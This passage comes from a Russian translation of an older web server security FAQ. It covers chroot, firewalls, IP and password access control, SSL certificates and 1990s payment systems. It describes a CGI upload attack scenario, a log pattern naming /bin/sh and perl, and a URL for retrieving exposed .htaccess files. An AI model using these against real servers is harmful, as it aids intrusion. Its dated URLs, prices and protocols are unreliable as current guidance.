Некоторые считают, что лучше вообще не запускать сервер с правами root, поскольку мы не знаем, какие ошибки могут содержаться в той части программы, которая работает между запуском сервера и моментом запуска дочернего процесса. Это действительно так, хотя исходные тексты программ всех свободно распространяемых серверов открыты для публичного доступа, и в них, _похоже_, не содержится ошибок в этих частях программы. Запуск сервера с правами обычного непривилегированного пользователя может быть безопаснее. Многие серверы запускаются как nobody, daemon или www. Однако следует учитывать две потенциальные сложности, связанные с таким подходом:

1. Сервер не сможет открыть порт 80 (по крайней мере, в системах семейства Unix). Вам придется настроить сервер на использование другого порта, например - 8000 или 8080.
2. Придется сделать файлы конфигурации доступными для чтения тому же пользователю, с правами которого запущен сервер. Этим предоставляется возможность чтения файлов конфигурации при помощи CGI скрипта. Придется также разрешить тому же пользователю чтение и запись файлов трассировки, что делает возможным их редактирование при помощи взломанного сервера или скрипта. См. выше обсуждение прав доступа к файлам.

B12: Я хочу использовать одно и то же дерево документов для моих серверов ftp и Web. Существуют ли здесь какие-либо проблемы?

Многие узлы предпочитают использовать одни и те же директории для демонов FTP и Web. Это безопасно в том случае, если для внешнего пользователя FTP закрыта возможность записи на сервере файла, который может быть затем запущен демоном Web.

Рассмотрим сервер WWW, настроенный на запуск любого файла с расширением .cgi. Хакер, используя доступ через FTP, сохраняет на сервере файл с программой на языке perl и присваивает ему расширение .cgi. После этого он запрашивает этот файл через браузер, обращаясь к вашему Web серверу. Вот, собственно, и все - хакер выполнил на вашей машине любые команды, какие ему пришли в голову.

Вы можете объединять области доступа ftp и www, но при этом ограничте пространство, доступное для сохранения файлов через ftp, директорием "incoming", и не предоставляйте пользователю nobody прав на чтение из этого директория.

B13: Могу ли я полностью обезопасить мой сервер запуская его в среде "chroot"?

Вы не можете полностью обезопасить свой сервер, но можете значительно повысить его защищенность в системах семейства Unix, если будете запускать его в среде chroot. Системная команда chroot помещает сервер в "скорлупу" таким образом, что он не может видеть системных областей за пределами

того места, которое ему выделено. Выбранный вами директорий становится системным корневым директорием ("/") для сервера. Все, что находится выше него, становится недоступным.

Для запуска сервера в среде chroot вы должны создать миниатюрную копию системного дерева подкаталогов и поместить туда все, что необходимо для работы сервера, включая специальные файлы устройств и загружаемые библиотеки. Вам придется также отредактировать все пути доступа к файлам в файлах настройки сервера с тем, чтобы привести их в соответствие с новым корневым директорием сервера. Для запуска сервера в такой среде, создайте системный командный файл, выполняющий команду chroot следующим образом:

```
chroot /путь/к/новому/корню /путь_к_серверу/httpd
```

Настройка нового корневого директория может быть достаточно сложной, ее обсуждение выходит за рамки рассмотрения настоящего документа. За деталями можно обратиться к книге автора (см. выше). Следует иметь в виду, что среда chroot наиболее эффективна в том случае, если новый корневой каталог содержит как можно меньше вещей. Там не должно быть никаких интерпретаторов, оболочек или конфигурационных файлов (включая `/etc/passwd`!). К сожалению, это значит, что скрипты CGI, использующие язык perl, не смогут работать в такой среде. Вы можете поместить туда интерпретатор perl, но вы теряете при этом некоторые преимущества среды chroot.

Учтите также, что chroot защищает только файлы, не являясь при этом панацеей. Chroot не помешает хакерам проникнуть в вашу систему другими путями, например - получая системные карты через сервер NIS, или проводя эксперименты с NFS.

B14: Моя локальная сеть защищена брандмауэром. Могу ли я использовать это для повышения безопасности сервера Web?

Вы можете использовать брандмауэр для повышения безопасности на вашем сервере различными способами. Наиболее простой путь - создание "внутреннего сервера", который доступен только для компьютеров в вашей локальной сети. Если это то, что вам нужно, то вы просто должны поместить сервер за брандмауэром:

```
          другой компьютер
                          \
          сервер <-----> БРАНДМАУЭР <------> ВНЕШНИЙ МИР
                          /
           еще компьютер
```

Однако, если вы хотите сделать сервер доступным для внешнего мира, то вам придется поместить его за пределами брандмауэра. С точки зрения безопасности вашей организации как целого, лучше всего вообще вынести сервер за пределы локальной сети:

```
          компьютер
                    \
компьютер  <----> БРАНДМАУЭР <---> сервер <----> ВНЕШ.МИР
                    /
          компьютер
```

Такая конфигурация называется "жертвенный ягненок". Сервер может быть взломан, но, по крайней мере, в этом случае не нарушается защита всей сети.

Запуск сервера на той же машине, на которой стоит брандмауэр, не является хорошей практикой. В этом случае любая ошибка в конфигурации сервера нарушает безопасность всей организации.

Существует ряд вариаций приведенной базовой конфигурации, включая установку пары - внутреннего и внешнего - серверов, для предоставления внешнего доступа к публичной информации и внутреннего - к внутренней. См. книгу автора для получения подробной информации.

B15: Моя локальная сеть защищена брандмауэром. Могу ли я разрешить доступ к моему серверу через брандмауэр?

Можете, но тем самым вы открываете лазейку в вашем брандмауэре. Гораздо лучше вынести сервер за пределы брандмауэра, как было описано выше. Однако, в некоторых случаях архитектура брандмауэра не позволяет вынести сервер за его пределы. В этом случае у вас нет иного выбора. Существует две возможности:

1. Если у вас имеется тип брандмауэра "экранированный хост" (screened host), вы можете избирательно разрешить прохождение запросов к порту 80, идущих на или с WWW сервера. Тем самым вы проделываете маленькое отверстие, через которое внешний мир может посылать запросы к серверу.
2. Если вы используете "dual homed gateway", вам нужно будет установить "представителя" (proxy) на машине с брандмауэром. Proxy - это небольшая программа, которая может видеть обе стороны брандмауэра. Она перехватывает внешние обращения и пересылает их серверу, а ответы передает клиенту. Небольшую и надежную HTTP proxy можно получить у TIS systems, по адресу:

ftp://ftp.tis.com/pub/firewalls/toolkit/

Сервер CERN также может быть настроен для работы как представитель. Однако, мне не хотелось бы рекомендовать его в этом качестве, так как сервер - большая и сложная программа, которая может содержать лазейки в системе защиты.

Дополнительную информацию о брандмауэрах можно получить из книг: Firewalls and Internet Security by William Cheswick and Steven Bellovin и Building Internet Firewalls by D. Brent Chapman and Elizabeth D. Zwicky.

B16: Как я могу обнаружить, что мой сервер был взломан?

В системах семейства Unix программа tripwire периодически просматривает вашу систему и фиксирует изменения в системных файлах и программах. Программа доступна по следующему адресу:

ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/

Вы должны также периодически проверять файлы трассировки доступа и ошибок на предмет подозрительной активности. Ищите запросы, использующие такие системные команды, как rm, login, /bin/sh и perl, или очень длинные строки в обращениях к URL (первое свидетельствует о попытках заставить CGI скрипт выполнить системную команду, второе - о попытках вызвать переполнение

буфера ввода программы). Следите также за повторяющимися неудачными попытками доступа к документу, защищенному паролем. Это свидетельствует о чьих-то попытках найти пароль для доступа.

5. Защита конфиденциальных документов на вашем сервере

B17: Какие существуют типы ограничения доступа?

Существует три типа ограничения прав доступа:

1. Ограничения на основе IP адреса, подсети или домена.

   Отдельные документы или целые директории могут быть сделаны доступными только для браузеров, имеющих конкретный адрес IP (адрес в Internet), либо принадлежащих определенной подсети, либо принадлежащих определенному домену.

2. Ограничения по имени пользователя и паролю

   Документы или директории защищены таким образом, что для доступа к ним удаленный пользователь должен предоставить имя и пароль.

3. Шифрование с использованием открытого ключа (public key cryptography)

   И запросы документов, и сами документы шифруются таким образом, что их текст не может быть прочтен никем кроме того, кому они направлены. Шифрование с открытым ключем может быть также использовано для надежной проверки пользователя. См. далее.

B18: Насколько надежно ограничение по IP адресу или имени домена?

Ограничение доступа по IP адресу эффективно против случайных попыток доступа, но не против хакера, действующего целенаправленно. Существуют различные способы обхода такого рода ограничений. Имя необходимую аппаратуру и программное обеспечение, хакер может "замазать" свой IP адрес, имитируя соединение не с того места в сети, где действительно расположен его компьютер, а из какого-либо другого. Кроме того, нет никакой гарантии того, что человек, обращающийся к вашему серверу с компьютера, доступ с которого вы разрешили, является именно тем человеком, которого вы имеете в виду. Компьютер мог быть взломан и использован хакером. Ограничения по сетевому адресу должны для надежности дополняться какими-нибудь проверками пользователя, такими как проверка пользовательского имени и пароля.

Ограничения доступа по IP адресам могут быть сделаны гораздо более надежными путем защиты вашей машины брандмауэром, способным определять и предотвращать попытки использования фиктивных адресов IP (IP spoofing). Проще всего перехватываются пакеты, приходящие из внешнего мира, но составленные так, как будто они посланы с компьютера в вашей локальной сети.

Следует также понимать, что в том случае, если браузер настроен на использование сервера - представителя (proxy), ваш Web сервер получит только IP адрес представителя, но не той машины, на которой работает пользователь. Это значит, что при наличии proxy в домене, которому вы доверяете, любой человек может использовать proxy для доступа к серверу. Если вы не знаете точно, что можете

доверить определенному серверу-представителю накладывать собственные ограничения доступа, не добавляйте IP адресов proxy серверов или доменов, содержащих proxy, к списку адресов, с которых разрешен доступ к вашему узлу.

Ограничения доступа по имени компьютера или домена, обладающие теми же слабостями, что и ограничения по IP адресам, чуствительны, кроме того, к "замазыванию имен DNS" (DNS spoofing) - атаке, при которой ваш сервер убеждают на время в том, что разрешенное имя соответствует другому (нужному хакеру) IP адресу. Для уменьшения подобного риска некоторые серверы могут быть настроены на дополнительную проверку имени DNS для каждого клиента. После преобразования IP адреса, с которого пришел запрос, в имя компьютера, сервер использует систему DNS для обратного преобразования имени в адрес IP. Если два IP адреса не совпадают, то доступ не предоставляется. Смотри ниже инструкции по использованию этой возможности в NCSA httpd.

B19: Насколько надежны ограничения доступа по имени пользователя и паролю?

Ограничения по имени пользователя и паролю имеют свои недостатки. Пароль хорош только в том случае, если он правильно выбран. Очень часто пользователи выбирают простые пароли, такие, как собственное имя, дату своего рождения, номера своих рабочих телефонов или имя любимой собаки. Такие пароли могут быть относительно легко найдены, а серверы WWW, в отличие от программ входа (login) в Unix, не обращают внимания на повторяющиеся неудачные попытки доступа. Опытный хакер может использовать программу перебора паролей для проникновения на сервер посредством грубой силы (простого перебора возможных паролей). Вам следует также учитывать возможность того, что удаленные пользователи могут предоставлять свои имена и пароли другим лицам. Использование комбинации ограничений доступа по сетевым адресам и по паролям безопаснее, чем использование только одного из этих двух способов защиты.

Другая проблема состоит в возможности перехвата пароля при его передаче по сети от браузера на сервер. Хакер, обладающий соответствующим оборудованием и программами, имеет возможность "вытащить" пароль из Internet при его прохождении. Кроме того, в отличие от прямого входа (login) пользователя в систему, когда пароль передается по Сети только один раз, браузер посылает пароль заново при каждом обращении к защищенному документу, что делает задачу хакера по перехвату пароля более легкой. Для избежания перехвата необходимо шифровать данные при передаче. Смотри далее.

Если вам необходимо защищать документы от доступа _локальных_ пользователей системы, на которой установлен сервер, то вам придется запускать сервер с правами, отличными от прав пользователя "nobody", и устанавливать права доступа к файлам документов и скриптов CGI так, чтобы они не были общедоступны для чтения. Смотри B9.

B20: Что такое проверка пользователя (user authentication)?

Это любой способ определения и проверки личности удаленного пользователя. Простейший способ проверки - имя пользователя и пароль. Системы шифрования с открытым ключем (public key encryption), описание которых можно найти ниже, являются более сложным способом проверки, использующим электронные подписи.

B21: Как мне ограничить доступ к документам по IP адресу или имени домена удаленного браузера?

Способы различны для различных серверов. Обратитесь к документации вашего сервера за подробностями. Для серверов, построенных на основе NCSA httpd, необходимо добавить раздел управления директорием в файле access.conf, который должен выглядеть примерно так:

```
<Directory /полный/путь/к/директорию>


  <Limit GET POST>
    order mutual-failure
    deny from all
    allow from 192.198.2 .zoo.org
    allow from 18.157.0.5 stoat.outback.au
  </Limit>

</Directory>
```

Таким образом вы запрещаете доступ для всех, кроме указанных машин (18.157.0.5 и stoat.outback.au), подсети (182.198.2) и домена (.zoo.org). Хотя имеется возможность использовать либо цифровые IP адреса, либо имена машин, безопаснее использовать цифровые адреса, поскольку этот способ идентификации труднее "обмануть" (B18).

Один из способов повышения надежности ограничений по именам доменов состоит в настройке сервера на двойную проверку имен DNS. Вы можете включить эту возможность в NCSA httpd (и в родственном сервере Apache) установив флаг `-DMAXIMUM_DNS` в файле Makefile перед компиляцией.

Для сервера CERN необходимо объявить схему защиты при помощи директивы Protection и связать ее с локальным адресом URL директивой Protect. Фрагмент файла httpd.conf, разрешающий доступ только из определенных доменов, может выглядеть следующим образом:

```
Protection LOCAL-USERS {

  GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}

Protect /относительный/путь/к/директорию/* LOCAL-USERS
```

B22: Как мне добавить новых пользователей и пароли?

Серверы на основе систем Unix используют файлы, подобные файлам passwd и group системы Unix. Хотя формат этих файлов таков, что позволяет использовать для сервера Web те же файлы, что и для самой операционной системы, делать этого не следует. Незачем давать хакеру, нашедшему пароль для доступа к серверу WWW, право на вход в систему Unix.

Обратитесь к документации вашего сервера за подробными инструкциями по добавлению пользователей. Для сервера NCSA httpd вы можете добавить пользователя к файлу пользователей с помощью программы htpasswd, которая распространяется вместе с программным обеспечением сервера:

```
htpasswd /путь/к/файлу/паролей имя_пользователя
```

htpasswd попросит вас затем ввести пароль для нового пользователя. При первом запуске программы htpasswd нужно использовать флаг -c для создания нового файла паролей.

Сервер CERN снабжен иной программой, называемой htadm:

```
htadm -adduser /путь/к/файлу/паролей имя_пользователя
```

htadm попросит вас ввести пароль для пользователя.

Когда пользователи определены, вы можете устанавливать защиту по паролю на директории, которые вы выбираете. Для NCSA httpd и производных серверов, добавте что-нибудь в таком роде к файлу access.conf:

```
<Directory /полный/путь/к/защищаемому/директорию>

  AuthName          имя.вашего.сервера
  AuthType          Basic
  AuthUserFile      /usr/local/etc/httpd/conf/passwd
  <Limit GET POST>
    require valid-user
  </Limit>

</Directory>
```

Вам придется заменить AuthUserFile на полный путь к файлу паролей. Такой способ защиты может быть скомбинирован с защитой на основе IP адресов, как описано в предшествующем разделе. Документация NCSA (http://hoohoo.ncsa.uiuc.edu/) и книга автора (How to Set Up and Maintain a Web Site) описывают это более подробно.

Для сервера CERN соответствующий фрагмент файла httpd.conf выглядит примерно так:

```
Protection AUTHORIZED-USERS {
  AuthType     Basic
  ServerID     имя.вашего.сервера
  PasswordFile /usr/local/etc/httpd/conf/passwd
  GetMask      All
}
Protect /относительный/путь/к/директорию/* AUTHORIZED-USERS
```

Опять же, обращайтесь к документации сервера или книге автора за деталями.

B23: Существуют ли скрипты CGI, позволяющие пользователю изменять его пароль при работе с сервером?

Различные скрипты подобного рода находятся в обращении. Автор предпочитает скрипт собственного производства, *user_manage*. Он работает с файлами паролей и групп, используемыми серверами Apache, NCSA httpd, CERN и серверами Netscape для Unix. Возможно, его можно использовать и для других серверов для систем Unix. Скрипт может быть использован пользователями для безопасной смены пароля и администраторами для добавления пользователей, манипулирования группами, изменения прав существующих пользователей. Этот скрипт можно получить на URL: http://www.genome.wi.mit.edu/~lstein/user_manage/

Bill Jones написал многофункциональный скрипт под названием *WebPass*. Кроме пароля Web пользователи могут изменять свои пароли для входа в систему и для доступа к POP и news серверам,

если они имеют такие пароли. Скрипт использует сочетание Perl и Expect для осуществления этих чудес. Скрипт можно найти по адресу:

http://webmaster.fccj.cc.fl.us/Webmaster/WebPass.html

Различные коммерческие серверы также имеют скрипты для удаленного управления пользователями. Смотрите документацию вашего сервера для получения подробной информации.

B24: Использование для управления доступом к директориям индивидуальных файлов контроля так удобно, почему я должен использовать файл access.conf?

Большинство серверов предоставляют возможность вместо того, чтобы указывать все директории в центральном файле управления доступом, помещать в каждом директории "спрятанный" (hidden) файл, регулирующий права доступа к этому директорию (такой файл называется .htaccess в серверах семейства NCSA и .www_acl в сервере CERN). Использование таких файлов очень удобно, поскольку вы можете ограничить доступ к директорию избегая редактирования центрального файла управления доступом. Но существует ряд причин, по которым не следует слишком доверяться файлу .htaccess. Одна из них состоит в том, что управляющие файлы разбросаны по дереву документов, а не находятся в одном месте, доступ к которому на уровне операционной системы четко контролируем. Другая причина состоит в том, что эти файлы могут быть легко стерты или изменены случайно, что откроет неограниченный доступ к части иерархии документов. Наконец, многие серверы (в том числе и NCSA) содержат ошибку, позволяющую получить файл управления доступом точно так же, как и любой другой файл документов WWW, используя подобный адрес URL:

```
http://имя.вашего.узла/защищенный/директорий/.htaccess
```

Это безусловно опасное свойство, поскольку таким образом можно получить важную информацию о системе, включая местонахождение файла паролей сервера.

Еще одна проблема состоит в том, что при замене программного обеспечения сервера гораздо проще отредактировать или заменить один центральный файл управления доступом, чем искать и редактировать сотни маленьких файлов.

B25: Как работает шифрование?

Шифрование осуществляется путем кодирования текста с использованием ключа. В традиционных системах шифрования один и тот же ключ использовался для шифровки и расшифровки текста. В современных системах с открытым ключем, или асимметричных системах, используются парные ключи - один для шифрования, другой - для расшифровки сообщения. В такой системе каждый владеет уникальной парой ключей. Один ключ, называемый открытым (public key), широко распространяется и используется для кодирования сообщений. Другой ключ, называемый личным ключем (private key), хранится в секрете и используется для расшифровки приходящих сообщений. При такой системе сторона, посылающая сообщение, может закодировать его при помощи открытого ключа, принадлежащего адресату. Такое сообщение может быть расшифровано только тем, кто имеет секретный ключ, что предотвращает расшифровку при перехвате. Такая же система может быть использована для создания электронных подписей.

Большинство существующих систем шифрования в Internet используют на самом деле комбинацию современной асимметричной и традиционной симметричной систем шифрования. Шифрование с открытым ключем используется для передачи симметричного ключа, который используется при шифровании передаваемой информации.

Поскольку коммерческие предприятия испытывают острую нужду в безопасной передаче данных через Web, существует активный интерес к разработке схем шифрования данных для передачи между браузером и сервером.

Более подробную информацию о шифровании с открытыми ключами можно найти в книге "Applied Cryptography", автор - Bruce Schneier.

B26: Что такое: SSL, SHTTP, Shen?

Это все - предложенные стандарты для шифрования данных и проверки пользователя в Web. Каждый из них требует для работы сочетания поддерживающих его браузера и сервера, и поэтому пока ни один из них не является универсальным решением проблемы безопасной передачи данных.

SSL (Secure Socket Layer) - это схема, предложенная Netscape Communications Corporation. Это схема шифрования на низком уровне, используемая для кодирования транзакций протоколов более высокого уровня, таких как HTTP, NNTP и FTP. Протокол SSL поддерживает проверку сервера (server authentication - подтверждение идентичности сервера для клиента), шифрование данных при передаче и возможность проверки клиента (client authentication, подтверждение идентичности клиента для сервера). SSL в настоящее время реализован коммерчески в различных браузерах, включая Netscape Navigator, Secure Mosaic и Microsoft Internet Explorer; и в различных серверах, включая серверы Netscape, Microsoft, IBM, Quarterdeck, OpenMarket и O'Reilly and Associates. Детали протокола SSL можно найти по адресу:

http://home.netscape.com/newsref/std/SSL.html

SHTTP (Secure HTTP - безопасный HTTP) - это схема, предложеная CommerceNet, объединением организаций, заинтересованных в развитии Internet для коммерческого использования. Это протокол более высокого уровня, который работает только с протоколом HTTP, но потенциально более расширяемый, чем SSL. В настоящее время SHTTP реализован для сервера Open Marketplace Server, распространяемого компанией Open Market, Inc, на стороне сервера и в Secure HTTP Mosaic от Enterprise Integration Technologies на стороне клиента. Здесь можно найти детали:

http://www.eit.com/creations/s-http/

Shen - схема, предложенная Phillip Hallam-Baker из CERN. Подобно SHTTP, это замена существующего протокола HTTP. Хотя предложение существовало около двух лет, оно не было реализовано ни в одном браузере или сервере. Более того, поскольку URL с описанием Shen более не доступен, есть основания считать эту схему отмершей.

B27: Существуют ли некоммерческие ("freeware") защищенные серверы?

Существует некоммерческая реализация SSL, известная как *SSLeay*. Эта реализация распространяется в виде исходных текстов на языке C, которые могут быть использованы в таких приложениях, как Telnet и FTP. Среди поддерживаемых приложений - свободно распространяемые Web-серверы для Unix - Apache и NCSA httpd, а также различные браузеры для Unix, включая Mosaic. За пределами США этот пакет может быть использован бесплатно как в некоммерческих, так и в коммерческих приложениях. В США необходимо купить лицензию у RSA Data Security для использования SSL в коммерческих приложениях (может оказаться проще приобрести одну из коммерческих версий Apache-SSL, в цену которых включена стоимость лицензии).

Пакет состоит из нескольких компонентов. Для получения работающего Web сервера с поддержкой SSL вам придется получить и установить их все:

The SSLeay FAQ
: http://www.psy.uq.oz.au/~ftp/Crypto/. Вам придется это внимательно прочесть.

SSLeay
: Это собственно библиотека SSL. Она может быть получена через FTP на ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/

Исправления (patches) для различных приложений Internet
: Это исправления для исходных текстов telnet, ftp, Mosaic и им подобных, необходимые для использования SSL. Их можно получить по FTP: ftp://ftp.psy.uq.oz.au/pub/Crypto/SSLapps/.

Исправления для сервера Apache
: В настоящее время есть исправления для серверов Apache 0.8.14h и 1.0.1a. Исправления могут работать и для других версий, но это не гарантировано. ftp://ftp.ox.ac.uk/pub/crypto/SSL/

Исходные тексты сервера Apache
: http://www.apache.org/

Вы можете получить откомпилированные заранее версии сервера Apache из двух источников. В США вы можете получить Stronghold от Community ConneXion, Inc. За пределами США вы можете получить Stronghold от Thawte Consulting, Ltd и на stronghold.ukweb.com. Эта версия Apache доступна со скидкой для некоммерческих организаций и образовательных учреждений.

После установки поддерживающего SSL сервера вам необходимо получить *удостоверение сервера (server certificate)* от утверждающей организации. Сертификаты предоставляют различные компании, со слегка различающимися правилами подачи заявки и расценками. В США первой была корпорация VeriSign Corporation, которая остается наиболее популярной и в настоящее время. Однако, по причине недавнего поднятия цен корпорацией VeriSign ($495 за сертификат коммерческого сервера) она стала одной из самых дорогих. Хорошей альтернативой VeriSign является Thawte Consulting; их цены значительно ниже и процедура подачи заявки для компаний за пределами США проще. Другие сертифицирующие организации включают:

Entrust
: http://www.entrust.com/

GTE CyberTrust
: http://www.cybertrust.gte.com/

EuroSign
: http://eurosign.com/

COST
: http://www.cost.se/

BiNARY SuRGEONS
: http://www.surgeons.co.za/certificate.html

Keywitness
: http://www.keywitness.ca/

SoftForum
http://www.softforum.co.kr/
CompuSource
http://www.compusource.co.za/
Прежде чем заказывать сертификат у какой-либо сертифицирующей организации (CA) убедитесь, что сертификат будет распознаваться теми браузерами, которые вы собираетесь поддерживать. VeriSign и Thawte распознаются последними версиями браузеров Netscape и Microsoft. Другие сертификаты могут не распознаваться. Для просмотра списка сертификатов, распознаваемых браузером, выберите в меню: *Options-<Security Preferences->Site Certificates* в Netscape Navigator, *View->Options->Security->Sites* в Internet Explorer. В Netscape Communicator информация доступна по кнопке *Security* на панели инструментов.

Процесс получения сертификата слегка различен у различных CA, но схож в основных моментах. После выбора CA соединитесь с их узлом Web и найдите раздел подачи заявки на сертификат. Выберите и заполните форму, подходящую для вашего программного обеспечения. У вас будут запрошены имена вашего узла Web, вашей компании и информация для связи. У вас также будут запрошены какие-либо документы, подтверждающие существование вашей организации и информация для приема оплаты (например, номер кредитной карты).

Заполнение формы - только половина процесса. Вы должны также создать запрос на электронный сертификат. После заполнения формы CA, используйте программу, входящую в состав программного обеспечения вашего сервера, для создания пары открытого и личного ключей. В пакете сервера Apache-SSL такая программа называется *genkey*.

Программа генерации ключа создаст файл, содержащий запрос на ключ. В некоторых случаях файл будет автоматически послан CA по электронной почте, в других Вам придется самостоятельно отсылать файл по e-mail. В любом случае вам придется ждать несколько дней или недель, в течение которых CA будет проверять достоверность вашего запроса. После проверки вы получите по электронной почте подписанный сертификат, который вы должны установить на своем сервере. Способ установки зависит от используемого сервера, для сервера Apache-SSL используйте программу *getca*.

Теперь пользователи могут получать документы с вашего сервера и передавать данные на сервер без боязни перехвата. Сертификат вашего сервера идентифицирует сервер для пользователя.

B28: Можно ли использовать личные сертификаты (Personal Certificates) для контроля доступа к серверу?

SSL можно использовать и для идентификации *пользователя*, что обеспечивает более надежную проверку, чем обычные имя пользователя и пароль. Для использования такой схемы каждый пользователь должен получить личный сертификат ("personal certificate") у CA.

Недорогой личный сертификат можно получить у VeriSign. VeriSign предлагает сертификаты двух классов. Сертификаты первого класса стоят всего $9.95 в год, но не дают полной гарантии того, что пользователь действительно является тем, кем он представляется, поскольку VeriSign не проверяет данные, предоставляемые пользователем при заказе сертификата. Сертификаты первого класса гарантируют, что пользователь может получать электронную почту по адресу, предоставленному программой. Сертификаты второго класса, стоящие $19.95 в год, дают больше гарантий, поскольку информация о пользователе, получившем такой сертификат, подвергается проверке.

Если вы используете интранет, то вам может иметь смысл создать свои собственные личные сертификаты для использования служащими вашей компании. Для этого вам необходимо получить и установить сервер сертификатов. Такие системы можно получить у следующих компаний: Microsoft, Netscape, XCert, Entrust и GTE.

Для использования личных сертификатов с целью контроля доступа к серверу вам необходимо будет настроить сервер соответствующим образом. Обсуждение того, как это сделать, выходит за рамки рассмотрения настоящего документа, но подробные инструкции содержатся в книге автора оригинального документа *The Web Security Reference Guide*, которая будет доступна в декабре 1997 года.

B29: Как получать заказы по кредитным картам через Web?

Всегда можно попросить пользователя позвонить по телефону :-). Если серьезно, то вы _не должны_ предлогать удаленному пользователю вводить номер его кредитной карты, если вы не используете пару браузер/сервер, поддерживающую шифровку данных. Альтернативой может служить использование представительских систем (credit card proxy system), описываемых в следующем вопросе.

Даже при использовании шифрования, следует быть осторожным в части того, что происходит с номером карты **после** того, как он получен на сервере. Убедитесь например, что после получения он не попадает в общедоступный для чтения файл трассировки и не передается на другую машину по электронной почте.

B30: Что такое: First Virtual Accounts, DigiCash, CyberCash, SET?

Это все - схемы, предназначенные для обработки коммерческих заказов с использованием Web без передачи номеров кредитных карт или другой конфиденциальной информации.

First Virtual

Схема *First Virtual* разработана для продажи программ по низким и средним ценам, предоставление платной информации и других "нематериальных" ценностей, которые могут быть переданы по Internet. Она не предназначена для продажи вещественных товаров, таких, как компьютеры или посудомоечные машины.

Перед использованием системы First Virtual потребитель должен подписаться и получить счет, заполнив форму ввода на узле First Virtual (см. ниже). Процесс подписки заканчивается по телефону. В ходе подписки потребитель предоставляет информацию о номере своей кредитной карты, информацию для контакта, и получает свой персональный идентификационный номер (PIN, Personal Identification Number) в системе First Virtual. Далее при заказах у членов First Virtual потребитель использует свой номер PIN вместо номера кредитной карты. Прежде чем снимать деньги с карты, First Virtual запросит подтверждения заказа по электронной почте. Чтобы открыть счет в системе First Virtual потребитель должен уплатить разовый сбор в размере двух долларов США. Дополнительных выплат нет, и пользователю не требуется устанавливать у себя какого-либо специального программного обеспечения для использования системы.

Поставщики, желающие принимать оплату через систему First Virtual, должны открыть в системе счет за одноразовую плату в размере $10.00. First Virtual предоставит поставщику простую программу для проверки пользовательских номеров PIN и информирующую First Virtual о полученных заказах. Эта программа легко может быть использована в скрипте CGI, принимающем заказ. First Virtual получает с поставщика плату в размере $0.29 за каждый заказ плюс 3% от суммы заказа.

Дальнейшую информацию о First Virtual можно получить по адресу:

http://www.fv.com/

DigiCash

DigiCash, продукт компании DigiCash, расположенной в Нидерландах, представляет собой нечто вроде системы обычных телефонных карточек. В этой системе пользователь покупает "КиберБаксы" (CyberBucks) в банке, поддерживающем систему DigiCash. КиберБаксы могут быть куплены по кредитной карте или через телеграфный перевод. КиберБаксы, представляющие собой наборы закодированных особым образом серийных номеров, используются тем же образом, как и настоящие деньги: они могут быть переданы в обмен на материальные или нематериальные ценности или переданы от одного человека другому при взаимных расчетах. В любой момент вы можете обменять КиберБаксы на "нормальные" деньги в банке.

Программное обеспечение, поддерживающее DigiCash, препятствует повторному использованию КиберБаксов. Как и настоящие деньги, КиберБаксы могут быть использованы анонимно. Вы не должны идентифицировать себя для того, чтобы иметь возможность потратить или получить "цифровую валюту", и ее использование не оставляет следов. Это отличает систему DigiCash от систем, основанных на кредитных картах, таких, как CyberCash и SET, в которых каждая операция фиксируется на бумаге, что может быть использовано для изучения привычек потребителя. В дополнение, DigiCash может использоваться для безопасной передачи денег между индивидуумами, позволяя обычным людям продавать услуги и товары через Internet без вовлечения банковской системы.

DigiCash требует установки специальных программ на компьютерах заказчика и продавца. В настоящее время имеются версии для Windows 95, Windows NT и некоторых систем Unix. В силу своей молодости эта система пока не получила широкого распространения, однако ситуация должна измениться. Дальнейшую информацию, включая список банков, поддерживающих DigiCash, можно получить на URL:

http://www.digicash.nl/

CyberCash

CyberCash, продукт корпорации CyberCash, использует специализированные программы на стороне продавца и покупателя, позволяя безопасно производить оплату через Internet. Чтобы производить оплату по системе CyberCash, потребитель должен получить бесплатную копию программы под названием Wallet с узла Web, принадлежащего CyberCash, и настроить ее с использованием личных данных и данных для выплат. Данные, необходимые для выплат, в настоящее время включают номер кредитной карты и номер банковского счета. Wallet сохраняет эту информацию на компьютере пользователя в зашифрованном виде.

При заказе в магазине, поддерживающем CyberCash, wallet открывает окно и запрашивает у пользователя информацию о выборе системы оплаты. Пользователь может выбрать оплату через кредитную карту или переводом со счета. Программа, установленная на стороне продавца, проверяет и фиксирует операцию, соединяясь с сервером CyberCash. Этот процесс занимает 10-15 секунд. Wallet ведет учет всех заказов, позволяя пользователю сверять данные записей с информацией о состоянии

кредитной карты или счета, полученной из банка. Программа доступна для многих платформ, включая Macintosh, Windows 95 и Windows NT.

Система использует надежное шифрование для защиты передаваемой информации от перехвата третьими лицами. Более того, поскольку реальные номера кредитных карт не попадают на сервер продавца, то нет опасности получения номеров кредитных карт людьми, проникнувшими на сервер продавца.

Для того, чтобы принимать платежи через CyberCash, продавцу необходимо открыть счет в банке, поддерживающем систему. Счет похож на счет, открываемый для принятия платежей по кредитным картам через заказы по почте, и требует примерно тех же затрат: разовая выплата 100 долларов при открытии счета, примерно 15 долларов в месяц для его поддержания и выплаты 2-3% от стоимости с каждого заказа. Точные расценки устанавливаются самостоятельно местными банками и могут несколько различаться. Сейчас несколько сотен банков поддерживают систему CyberCash, и это число постоянно растет.

После открытия счета продавец устанавливает у себя на сервере программу "электронный регистратор валюты" (Electronic Cash Register). Программа запускается при нажатии заказчиком кнопки "заплатить" ("pay") или ее аналога и берет на себя соединение, создавая запись, которую продавец может использовать в своей системе доставки. Программа распространяется бесплатно и существует в вариантах для различных платформ, включая Windows NT и Unix.

Основное преимущество системы CyberCash в сравнении с DigiCash состоит в том, что заказчик обеспечен в ней той же степенью защиты потребителя, которую дает кредитная карта сама по себе. Если продавец не предоставляет товар, или предоставляет товар неудовлетворительного качества, то потребитель может обратиться в компанию, выдавшую кредитную карту. Недостатки включают потерю анонимности, характерную для всех расчетов по кредитным или дебетным картам и невозможность осуществления расчетов между равными. Кроме того, выплаты продавцов за обработку заказов делают систему невыгодной для мелких поставщиков, таких как поставщиков интерактивных видеоигр. Эта последняя проблема однако решается CyberCash путем введения системы CyberCoin, позволяющей заказчику вносить единовременно некоторую сумму, после чего использовать ее частями в мелких заказах.

Для получения дальнейшей информации можно обратиться на http://www.cybercash.com/

SET

